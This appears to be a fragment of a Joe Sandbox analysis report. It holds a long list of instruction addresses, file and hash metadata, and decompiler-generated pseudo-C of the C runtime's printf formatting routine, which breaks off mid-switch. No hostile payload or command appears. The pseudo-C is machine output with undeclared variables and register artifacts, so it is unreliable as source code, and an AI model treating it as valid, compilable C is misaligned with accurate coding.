0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004274a8
0x004274a8
0x004274af
0x004274b2
0x004274dc
0x004274df
0x004274df
0x004274e2
0x004274e9
0x004274e9
0x004274ed
0x004274b4
0x004274b4
0x004274c0
0x004274c3
0x004274c7
0x004274c9
0x004274cc
0x004274cc
0x004274cf
0x004274d5
0x004274d7
0x004274d7
0x004274da
0x004274f0
0x00000000
0x00000000
0x004274f5
0x004274f5
0x00000000
0x00000000
0x00427501
0x00427501
0x00427508
0x0042750b
0x0042752b
0x0042752e
0x0042752e
0x00427538
0x00427538
0x0042753c
0x0042750d
0x0042750d
0x00427519
0x0042751c
0x00427520
0x00427522
0x00427522
0x00427529
0x00000000
0x00000000
0x00427544
0x00427544
0x0042754b
0x00427557
0x0042755a
0x00427560
0x00427567
0x0042767a
0x00000000
0x0042767a
0x0042756d
0x0042756d
0x00427573
0x00427573
0x0042757a
0x00000000
0x004275b0
0x004275b0
0x004275b3
0x004275b6
0x004275b9
0x004275e1
0x004275e1
0x004275e4
0x004275e7
0x004275ea
0x0042760f
0x0042760f
0x00427612
0x00427615
0x00427618
0x00427651
0x00427662
0x00000000
0x00427662
0x0042761a
0x0042761a
0x0042761d
0x00427620
0x00427623
0x00000000
0x00000000
0x00427625
0x00427625
0x00427628
0x0042762b
0x0042762e
0x00000000
0x00000000
0x00427630
0x00427630
0x00427633
0x00427636
0x00427639
0x00000000
0x00000000
0x0042763b
0x0042763b
0x0042763e
0x00427641
0x00427644
0x00000000
0x00000000
0x00427646
0x00427646
0x00427649
0x0042764c
0x0042764f
0x00427653
0x00000000
0x00427653
0x00000000
0x0042764f
0x004275ec
0x004275ec
0x004275ef
0x004275f3
0x004275f6
0x00000000
0x004275f8
0x004275fb
0x004275fe
0x00427601
0x00427604
0x0042760a
0x00000000
0x0042760a
0x004275f6
0x004275bb
0x004275bb
0x004275be
0x004275c2
0x004275c5
0x00000000
0x004275c7
0x004275ca
0x004275cd
0x004275d0
0x004275d3
0x004275d9
0x00000000
0x004275d9
0x00000000
0x00427664
0x00427667
0x0042766a
0x00000000
0x00000000
0x00427581
0x00427581
0x00427584
0x00427587
0x0042758a
0x004275a2
0x004275a5
0x004275a5
0x004275a8
0x0042758c
0x0042758f
0x00427592
0x00427598
0x0042759d
0x0042759d
0x00000000
0x00000000
0x0042766f
0x0042766f
0x00427672
0x00427672
0x00427677
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042767f
0x0042767f
0x00427686
0x00427692
0x00427695
0x0042769b
0x004276a2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x004276a8
0x004276ae
0x004276ae
0x004276b5
0x00000000
0x00427a0f
0x00427a0f
0x00427a16
0x00427a1d
0x00427a1d
0x00427a20
0x00000000
0x00000000
0x004276bc
0x004276bf
0x004276bf
0x004276c5
0x004276c7
0x004276ca
0x004276ca
0x004276cf
0x004276cf
0x00000000
0x00000000
0x004277fc
0x004277ff
0x004277ff
0x00427804
0x00427806
0x00427809
0x00427809
0x0042780f
0x0042780f
0x00000000
0x00000000
0x00427bdc
0x00427bdc
0x00000000
0x00000000
0x00427766
0x00427766
0x00427772
0x00427778
0x0042777f
0x0042778d
0x0042778d
0x00427793
0x00427796
0x004277a2
0x004277f7
0x00000000
0x004277f7
0x00427781
0x00427781
0x00427787
0x0042778b
0x004277aa
0x004277aa
0x004277b0
0x004277d8
0x004277df
0x004277e5
0x004277e8
0x004277eb
0x004277f1
0x004277f4
0x004277b2
0x004277b2
0x004277b8
0x004277bb
0x004277be
0x004277c4
0x004277c7
0x004277ca
0x004277cc
0x004277cf
0x004277cf
0x00000000
0x004277b0
0x00000000
0x00000000
0x00427a26
0x00427a29
0x00427a2c
0x00427a2f
0x00427a35
0x00427a38
0x00427a3f
0x00427a43
0x00427a4e
0x00427a4e
0x00427a52
0x00427a69
0x00427a69
0x00427a70
0x00427a72
0x00427a72
0x00427a79
0x00427a79
0x00427a80
0x00427a91
0x00427aa0
0x00427aa3
0x00427aa7
0x00427abd
0x00427aa9
0x00427aa9
0x00427aac
0x00427ab2
0x00427ab8
0x00427ab8
0x00427aa7
0x00427ac7
0x00427aca
0x00427acd
0x00427ad0
0x00427ad0
0x00427ad3
0x00427ad3
0x00427ad6
0x00427adc
0x00427ae2
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427afa
0x00427afb
0x00427afe
0x00427aff
0x00427b02
0x00427b03
0x00427b09
0x00427b0a
0x00427b18
0x00427b1a
0x00427b20
0x00427b20
0x00427b26
0x00427b28
0x00427b2c
0x00427b2e
0x00427b36
0x00427b37
0x00427b3a
0x00427b3b
0x00427b49
0x00427b4b
0x00427b4b
0x00427b2c
0x00427b4e
0x00427b55
0x00427b58
0x00427b5d
0x00427b5d
0x00427b63
0x00427b65
0x00427b6d
0x00427b6e
0x00427b71
0x00427b72
0x00427b81
0x00427b83
0x00427b83
0x00427b63
0x00427b86
0x00427b89
0x00427b8c
0x00427b8f
0x00427b94
0x00427b9a
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba3
0x00427ba3
0x00427ba6
0x00427bb2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00427ec3
0x00427a54
0x00427a54
0x00427a5b
0x00427a5e
0x00000000
0x00000000
0x00427a60
0x00427a60
0x00000000
0x00427a60
0x00427a45
0x00427a45
0x00000000
0x00000000
0x004276d2
0x004276d5
0x004276d5
0x004276db
0x00427736
0x0042773e
0x00427745
0x0042774b
0x00427751
0x004276dd
0x004276dd
0x004276e7
0x004276eb
0x004276f3
0x004276fa
0x00427707
0x0042770e
0x0042771a
0x00427720
0x00427727
0x00427729
0x00427729
0x00427730
0x00427758
0x0042775e
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00427bba
0x00427bbd
0x00427bc0
0x00427bc3
0x00427c3b
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cfb
0x00427d00
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427ce0
0x00427ce5
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cba
0x00427cbf
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9e
0x00427ca3
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c71
0x00427c76
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c49
0x00427c4e
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427918
0x00427918
0x00427924
0x0042792a
0x0042792f
0x00427931
0x004279db
0x004279de
0x004279de
0x004279e1
0x004279f5
0x004279fb
0x00427a01
0x004279e3
0x004279e3
0x004279f0
0x004279f0
0x00427a03
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00427937
0x00427937
0x00427937
0x00427939
0x00427947
0x0042793b
0x0042793b
0x0042793b
0x00427951
0x00427957
0x0042795d
0x00427964
0x00427966
0x0042796b
0x0042796d
0x00427972
0x00427977
0x00427979
0x0042797e
0x00427981
0x00427984
0x00427986
0x00427986
0x00427984
0x00427987
0x0042798e
0x004279d6
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427990
0x00427990
0x00427995
0x004279b1
0x004279b9
0x004279c3
0x004279c6
0x004279cb
0x004280e8
0x004280f5
0x004280f5
0x00000000
0x00000000
0x00000000
0x00427bd5
0x00427bd5
0x00000000
0x00000000
0x00427812
0x00427812
0x00427816
0x00427824
0x00427827
0x00427818
0x00427818
0x00427818
0x0042782d
0x00427833
0x00427839
0x00427845
0x0042784b
0x0042784b
0x00427851
0x004278b8
0x004278b8
0x004278bc
0x004278be
0x004278c4
0x004278c4
0x004278c7
0x004278ca
0x004278d0
0x004278d0
0x004278d0
0x004278dc
0x004278df
0x004278e5
0x004278e7
0x00000000
0x00000000
0x004278e9
0x004278e9
0x004278ef
0x004278f2
0x004278f4
0x00000000
0x00000000
0x004278f6
0x004278fc
0x004278ff
0x004278ff
0x00427907
0x00427907
0x0042790d
0x0042790d
0x00427910
0x00000000
0x00427853
0x00427853
0x00427853
0x00427857
0x00427859
0x0042785e
0x0042785e
0x00427861
0x00427868
0x0042786b
0x00427871
0x00427871
0x00427871
0x0042787d
0x00427880
0x00427886
0x00427888
0x00000000
0x00000000
0x0042788a
0x0042788a
0x00427890
0x00427893
0x00427895
0x00000000
0x00000000
0x00427897
0x0042789d
0x004278a0
0x004278a0
0x004278a8
0x004278ae
0x004278b1
0x004278b3
0x00427913
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00000000
0x00427bcc
0x00427bcc
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cfb
0x00427d00
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427ce0
0x00427ce5
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cba
0x00427cbf
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9e
0x00427ca3
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c71
0x00427c76
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c49
0x00427c4e
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00427be8
0x00427be8
0x00427bf2
0x00427bf2
0x00427bfc
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cfb
0x00427d00
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427ce0
0x00427ce5
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cba
0x00427cbf
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9e
0x00427ca3
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c71
0x00427c76
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c49
0x00427c4e
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00000000
0x00427482
0x00427485
0x00427488
0x00000000
0x00000000
0x0042748d
0x00427490
0x00427495
0x00000000
0x00000000
0x00427477
0x00427477
0x0042747a
0x0042747d
0x00000000
0x00000000
0x0042746c
0x0042746f
0x00427472
0x00000000
0x00000000
0x0042749a
0x0042749a
0x0042749d
0x0042749d
0x004274a0
0x00000000
0x00000000
0x004274a3
0x00000000
0x00000000
0x004272fd
0x004280ce
0x004280d4
0x004280dd
0x004280e2
0x00000000
0x004280e2
0x00427ec3
0x00427e9a
0x00427e9a
0x00427e9e
0x00427eab
0x00427eb1
0x00427eb7
0x00427ebd
0x00427ebd
0x00427ec0
0x00000000
0x00427ec0
0x00427ea0
0x00427ea6
0x00427ea9
0x00000000
0x00000000
0x00000000
0x00427ea9
0x00427e02
0x00427e05
0x00427e0f
0x00427e1e
0x00427e27
0x00427e3d
0x00427e43
0x00427e49
0x00427e50
0x00427e58
0x00427e58
0x00427e5e
0x00427e5e
0x00427e6d
0x00427e75
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00000000
0x00427df2
0x00427de4
0x00427d24
0x00427d24
0x00427d2b
0x00000000
0x00000000
0x00000000
0x00427d59
0x00427d5f
0x00427d6b
0x00000000
0x00427d6b
0x00427c3b

APIs

_get_int64_arg.LIBCMTD ref: 00427C49
__aullrem.LIBCMT ref: 00427E16
__aulldiv.LIBCMT ref: 00427E38

Strings

9, xrefs: 00427E49

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 9ab6075380f1295e27588f1acadbd4dd15b82dafcab5f3dde648813dbae8ee32
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: 0B4104B1E186299FDB64DF58D889BAEB7B5BF84300F5085DAD009A7254CB389E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434E8C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00434E8C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428200(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428200(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428200(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428200(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428220(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428220(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E004355C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00435600( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004355C0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00435600( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E004340D0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00435600( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004355C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C3E0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435410))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E004310C0( *(_t701 - 0x251) & 0x000000ff, E0041ACF0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00435520( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00435520( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E220();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422D10(_t616))) = 0x16;
																	E00422AA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041ACC0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435448; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435430))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
